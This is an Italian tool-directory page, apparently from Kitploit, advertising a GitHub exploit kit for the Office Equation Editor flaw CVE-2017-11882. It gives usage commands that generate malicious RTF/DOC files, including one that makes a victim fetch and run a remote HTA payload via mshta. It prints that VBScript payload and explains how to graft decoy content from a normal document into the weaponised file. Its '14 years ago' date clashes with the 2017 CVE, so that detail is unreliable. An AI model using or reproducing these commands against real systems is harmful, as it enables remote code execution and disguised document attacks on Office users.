Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-11882-exp — Exploit per CVE-2017-11882 (Microsoft Office Equation Editor) con script Python per generare file RTF/DOC dannosi ed eseguire comandi arbitrari o shellcode tramite mshta. | Kitploit
Strumenti/GitHubGitHub/lisinan988/cve-2017-11882-exp
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHublisinan988/cve-2017-11882-exp

CVE-2017-11882-exp

Exploit per CVE-2017-11882 (Microsoft Office Equation Editor) con script Python per generare file RTF/DOC dannosi ed eseguire comandi arbitrari o shellcode tramite mshta.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
14 anni faNon ancora revisionato
Condividi

CVE-2017-11882

43b Lo script originale proviene da https://github.com/embedi/CVE-2017-11882

109b Lo script originale proviene da https://github.com/unamer/CVE-2017-11882/ (omaggio: ora il codice di unamer può eseguire shellcode~)

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Ricerca: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Analisi della patch: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

Dimostrazione dello sfruttamento PoC: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

Utilizzo

root@kitploit:~
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

usa mshta

root@kitploit:~
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc

abc

root@kitploit:~
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML> 

43b la lunghezza del comando non può superare 43 byte, 109b non può superare 109 byte

Esempio di exploit per CVE-2017-11882 (avvio di calc.exe come payload)

La cartella example contiene un file .rtf che sfrutta la vulnerabilità CVE-2017-11882 e avvia la calcolatrice nel sistema.

Riguardo al contenuto personalizzato

In realtà, il trucco per il contenuto personalizzato l'ho imparato da altri esperti. Ho scritto lo script molto tempo fa; non avevo intenzione di renderlo pubblico, ma visto che qualcuno nel gruppo lo ha già diffuso, non ho scelta: devo pubblicarlo. Il metodo in realtà è semplice: apri un normale documento RTF con un editor di testo, copia tutto il contenuto prima di {*\datastore e sostituisci il contenuto prima di {\object\objautlink\objupdate. Quindi inserirlo nello script è molto semplice.

Per aggiungere contenuto personalizzato, scegli uno qualsiasi degli script:

root@kitploit:~
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf

Il contenuto personalizzato è in input.rtf.

Riguardo all'ultimo script di exploit da 605 byte di unamer, non lo aggiornerò; se siete interessati, modificatelo voi stessi.

Scarica lo strumento